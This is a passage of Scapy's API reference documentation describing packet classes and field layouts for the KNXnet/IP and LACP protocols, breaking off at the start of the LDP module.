 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| HEADER LENGTH |PROTOCOL VERSIO|       SERVICE IDENTIFIER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          TOTAL LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. KNX                             


KNX fields






	header_length

	ByteField

	None



	protocol_version

	XByteField

	16



	service_identifier

	ShortEnumField

	None



	total_length

	ShortField

	None











	
payload_guess

	Possible sublayers:
KNXConfigurationACK, KNXConfigurationRequest, KNXConnectRequest, KNXConnectResponse, KNXConnectionstateRequest, KNXConnectionstateResponse, KNXDescriptionRequest, KNXDescriptionResponse, KNXDisconnectRequest, KNXDisconnectResponse, KNXSearchRequest, KNXSearchResponse, KNXTunnelingACK, KNXTunnelingRequest






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L573-L580]

	








	
class scapy.contrib.knx.KNXAddressField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L155-L169]

	Bases: ShortField


	
any2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L162-L169]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L156-L160]

	








	
class scapy.contrib.knx.KNXConfigurationACK(_pkt, /, *, structure_length=None, communication_channel_id=1, sequence_counter=None, status=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L510-L522]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|STRUCTURE LENGT|COMMUNICATION C|SEQUENCE COUNTE|     STATUS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. KNXConfigurationACK                     


KNXConfigurationACK fields






	structure_length

	ByteField

	None



	communication_channel_id

	ByteField

	1



	sequence_counter

	ByteField

	None



	status

	ByteField

	None











	
payload_guess

	Possible sublayers:
Padding






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L519-L522]

	








	
class scapy.contrib.knx.KNXConfigurationRequest(_pkt, /, *, structure_length=4, communication_channel_id=1, sequence_counter=None, reserved=None, cemi=<CEMI  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L493-L506]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|STRUCTURE LENGT|COMMUNICATION C|SEQUENCE COUNTE|    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CEMI             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. KNXConfigurationRequest                   


KNXConfigurationRequest fields






	structure_length

	ByteField

	4



	communication_channel_id

	ByteField

	1



	sequence_counter

	ByteField

	None



	reserved

	ByteField

	None



	cemi

	PacketField

	<CEMI  |>











	
payload_guess

	Possible sublayers:
Padding






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L503-L506]

	








	
class scapy.contrib.knx.KNXConnectRequest(_pkt, /, *, control_endpoint=<HPAI  |>, data_endpoint=<HPAI  |>, connection_request_information=<CRI  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L434-L440]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        CONTROL ENDPOINT       |         DATA ENDPOINT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| CONNECTION REQUEST INFORMATION|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. KNXConnectRequest                      


KNXConnectRequest fields






	control_endpoint

	PacketField

	<HPAI  |>



	data_endpoint

	PacketField

	<HPAI  |>



	connection_request_information

	PacketField

	<CRI  |>











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.KNXConnectResponse(_pkt, /, *, communication_channel_id=None, status=None, data_endpoint=<HPAI  |>, connection_response_data_block=<CRD  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L444-L451]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|COMMUNICATION C|     STATUS    |         DATA ENDPOINT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| CONNECTION RESPONSE DATA BLOCK|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. KNXConnectResponse                      


KNXConnectResponse fields






	communication_channel_id

	ByteField

	None



	status

	ByteField

	None



	data_endpoint

	PacketField

	<HPAI  |>



	connection_response_data_block

	PacketField

	<CRD  |>











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.KNXConnectionstateRequest(_pkt, /, *, communication_channel_id=None, reserved=None, control_endpoint=<HPAI  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L455-L461]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|COMMUNICATION C|    RESERVED   |        CONTROL ENDPOINT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. KNXConnectionstateRequest                  


KNXConnectionstateRequest fields






	communication_channel_id

	ByteField

	None



	reserved

	ByteField

	None



	control_endpoint

	PacketField

	<HPAI  |>











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.KNXConnectionstateResponse(_pkt, /, *, communication_channel_id=None, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L465-L470]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|COMMUNICATION C|     STATUS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. KNXConnectionstateResponse                  


KNXConnectionstateResponse fields






	communication_channel_id

	ByteField

	None



	status

	ByteField

	0











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.KNXDescriptionRequest(_pkt, /, *, control_endpoint=<HPAI  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L413-L417]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        CONTROL ENDPOINT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. KNXDescriptionRequest                    


KNXDescriptionRequest fields






	control_endpoint

	PacketField

	<HPAI  |>











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.KNXDescriptionResponse(_pkt, /, *, device_info=<DIBDeviceInfo  |>, supported_service_families=<DIBSuppSvcFamilies  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L421-L430]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DEVICE INFO          |   SUPPORTED SERVICE FAMILIES  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. KNXDescriptionResponse                    


KNXDescriptionResponse fields






	device_info

	PacketField

	<DIBDeviceInfo  |>



	supported_service_families

	PacketField

	<DIBSuppSvcFamilies  |>











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.KNXDisconnectRequest(_pkt, /, *, communication_channel_id=1, reserved=None, control_endpoint=<HPAI  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L474-L480]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|COMMUNICATION C|    RESERVED   |        CONTROL ENDPOINT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. KNXDisconnectRequest                     


KNXDisconnectRequest fields






	communication_channel_id

	ByteField

	1



	reserved

	ByteField

	None



	control_endpoint

	PacketField

	<HPAI  |>











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.KNXDisconnectResponse(_pkt, /, *, communication_channel_id=None, status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L484-L489]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|COMMUNICATION C|     STATUS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. KNXDisconnectResponse                    


KNXDisconnectResponse fields






	communication_channel_id

	ByteField

	None



	status

	ByteField

	0











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.KNXGroupField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L173-L184]

	Bases: ShortField


	
any2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L177-L184]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L174-L175]

	








	
class scapy.contrib.knx.KNXSearchRequest(_pkt, /, *, discovery_endpoint=<HPAI  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L394-L398]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       DISCOVERY ENDPOINT      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. KNXSearchRequest                       


KNXSearchRequest fields






	discovery_endpoint

	PacketField

	<HPAI  |>











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.KNXSearchResponse(_pkt, /, *, control_endpoint=<HPAI  |>, device_info=<DIBDeviceInfo  |>, supported_service_families=<DIBSuppSvcFamilies  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L402-L409]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        CONTROL ENDPOINT       |          DEVICE INFO          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SUPPORTED SERVICE FAMILIES  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. KNXSearchResponse                      


KNXSearchResponse fields






	control_endpoint

	PacketField

	<HPAI  |>



	device_info

	PacketField

	<DIBDeviceInfo  |>



	supported_service_families

	PacketField

	<DIBSuppSvcFamilies  |>











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.KNXTunnelingACK(_pkt, /, *, structure_length=None, communication_channel_id=1, sequence_counter=None, status=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L543-L555]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|STRUCTURE LENGT|COMMUNICATION C|SEQUENCE COUNTE|     STATUS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. KNXTunnelingACK                       


KNXTunnelingACK fields






	structure_length

	ByteField

	None



	communication_channel_id

	ByteField

	1



	sequence_counter

	ByteField

	None



	status

	ByteField

	None











	
payload_guess

	Possible sublayers:
Padding






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L552-L555]

	








	
class scapy.contrib.knx.KNXTunnelingRequest(_pkt, /, *, structure_length=4, communication_channel_id=1, sequence_counter=None, reserved=None, cemi=<CEMI  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L526-L539]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|STRUCTURE LENGT|COMMUNICATION C|SEQUENCE COUNTE|    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CEMI             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. KNXTunnelingRequest                     


KNXTunnelingRequest fields






	structure_length

	ByteField

	4



	communication_channel_id

	ByteField

	1



	sequence_counter

	ByteField

	None



	reserved

	ByteField

	None



	cemi

	PacketField

	<CEMI  |>











	
payload_guess

	Possible sublayers:
Padding






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L536-L539]

	








	
class scapy.contrib.knx.LcEMI(_pkt, /, *, additional_information_length=0, additional_information=None, frame_type=1, reserved_1=0, repeat_on_error=1, broadcast_type=1, priority=3, ack_request=0, confirmation_error=0, address_type=1, hop_count=6, extended_frame_format=0, source_address=None, destination_address=2563, npdu_length=1, packet_type=0, sequence_type=0, reserved_2=0, acpi=2, data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L311-L352]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ADDITIONAL INFO|     ADDITIONAL INFORMATION    |F|R|R|B|PRI|A|C|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|A|HOP C|EXTENDE|         SOURCE ADDRESS        |DESTINATION ADD|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  NPDU LENGTH  |P|S|RESERVE|  ACPI |    DATA   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. LcEMI                            


LcEMI fields






	additional_information_length

	FieldLenField

	0



	additional_information

	StrLenField

	None



	frame_type

	BitEnumField

	1



	reserved_1

	BitField  (1 bit)

	0



	repeat_on_error

	BitField  (1 bit)

	1



	broadcast_type

	BitEnumField

	1



	priority

	BitEnumField

	3



	ack_request

	BitField  (1 bit)

	0



	confirmation_error

	BitField  (1 bit)

	0



	address_type

	BitEnumField

	1



	hop_count

	BitField  (3 bits)

	6



	extended_frame_format

	BitField  (4 bits)

	0



	source_address

	KNXAddressField

	None



	destination_address

	KNXGroupField

	2563



	npdu_length

	FieldLenField

	1



	packet_type

	BitEnumField

	0



	sequence_type

	BitEnumField

	0



	reserved_2

	BitField  (4 bits)

	0



	acpi

	BitEnumField

	2



	data

	BitField  (6 bits)

	0











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.ServiceFamily(_pkt, /, *, id=None, version=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L206-L211]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |    VERSION    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ServiceFamily                        


ServiceFamily fields






	id

	ByteField

	None



	version

	ByteField

	None











	
payload_guess

	Possible sublayers:
Padding










	
class scapy.contrib.knx.TunnelingConnection(_pkt, /, *, knx_layer=2, reserved=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/knx.py#L260-L265]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   KNX LAYER   |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TunnelingConnection                     


TunnelingConnection fields






	knx_layer

	ByteField

	2



	reserved

	ByteField

	None











	
payload_guess

	Possible sublayers:
Padding












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.lacp


	
class scapy.contrib.lacp.LACP(_pkt, /, *, version=1, actor_type=1, actor_length=20, actor_system_priority=0, actor_system=None, actor_key=0, actor_port_priority=0, actor_port_number=0, actor_state=0, actor_reserved=b'', partner_type=2, partner_length=20, partner_system_priority=0, partner_system=None, partner_key=0, partner_port_priority=0, partner_port_number=0, partner_state=0, partner_reserved=b'', collector_type=3, collector_length=16, collector_max_delay=0, collector_reserved=b'', terminator_type=0, terminator_length=0, reserved=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lacp.py#L13-L47]

	Bases: Packet


	
aliastypes

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'actor_port_numer': ('actor_port_number', '2.4.4'), 'colletctor_reserved': ('collector_reserved', '2.4.4'), 'partner_port_numer': ('partner_port_number', '2.4.4')}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |   ACTOR TYPE  |  ACTOR LENGTH |ACTOR SYSTEM PR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  ACTOR SYSTEM                 |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |   ACTOR KEY   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      ACTOR PORT PRIORITY      |ACTOR PORT NUMB|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  ACTOR STATE  |         ACTOR RESERVED        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  PARTNER TYPE | PARTNER LENGTH|PARTNER SYSTEM |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                 PARTNER SYSTEM                |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |  PARTNER KEY  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     PARTNER PORT PRIORITY     |PARTNER PORT NU|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | PARTNER STATE |        PARTNER RESERVED       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | COLLECTOR TYPE|COLLECTOR LENGT|COLLECTOR MAX D|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               COLLECTOR RESERVED              |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |TERMINATOR TYPE|TERMINATOR LENG|    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                            Fig. LACP                             


LACP fields






	version

	ByteField

	1



	actor_type

	ByteField

	1



	actor_length

	ByteField

	20



	actor_system_priority

	ShortField

	0



	actor_system

	MACField

	None



	actor_key

	ShortField

	0



	actor_port_priority

	ShortField

	0



	actor_port_number

	ShortField

	0



	actor_state

	ByteField

	0



	actor_reserved

	XStrFixedLenField

	b''



	partner_type

	ByteField

	2



	partner_length

	ByteField

	20



	partner_system_priority

	ShortField

	0



	partner_system

	MACField

	None



	partner_key

	ShortField

	0



	partner_port_priority

	ShortField

	0



	partner_port_number

	ShortField

	0



	partner_state

	ByteField

	0



	partner_reserved

	XStrFixedLenField

	b''



	collector_type

	ByteField

	3



	collector_length

	ByteField

	16



	collector_max_delay

	ShortField

	0



	collector_reserved

	XStrFixedLenField

	b''



	terminator_type

	ByteField

	0



	terminator_length

	ByteField

	0



	reserved

	XStrFixedLenField

	b''















	
class scapy.contrib.lacp.MarkerProtocol(_pkt, /, *, version=1, marker_type=1, marker_length=16, requester_port=0, requester_system=None, requester_transaction_id=0, marker_reserved=b'', terminator_type=0, terminator_length=0, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lacp.py#L58-L71]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |  MARKER TYPE  | MARKER LENGTH | REQUESTER PORT|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                REQUESTER SYSTEM               |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |REQUESTER TRANS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |MARKER RESERVED|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |TERMINATOR TYPE|TERMINATOR LENG|    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. MarkerProtocol                        


MarkerProtocol fields






	version

	ByteField

	1



	marker_type

	ByteEnumField

	1



	marker_length

	ByteField

	16



	requester_port

	ShortField

	0



	requester_system

	MACField

	None



	requester_transaction_id

	IntField

	0



	marker_reserved

	XStrFixedLenField

	b''



	terminator_type

	ByteField

	0



	terminator_length

	ByteField

	0



	reserved

	XStrFixedLenField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.ldp

Label Distribution Protocol (LDP)

http://git.savannah.gnu.org/cgit/ldpscapy.git/snapshot/ldpscapy-5285b81d6e628043df2a83301b292f24a95f0ba1.tar.gz


	
class scapy.contrib.ldp.AddressTLVField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L148-L181]

	Bases: StrField


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L177-L181]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L161-L170]

	




	
islist = 1

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L151-L159]

	




	
size(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L172-L175]

	Get the size of this field










	
class scapy.contrib.ldp.CommonHelloTLVField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L226-L256]

	Bases: StrField


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L254-L256]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L240-L252]

	




	
islist = 1

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L229-L238]

	








	
class scapy.contrib.ldp.CommonSessionTLVField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L260-L293]

	Bases: StrField


	
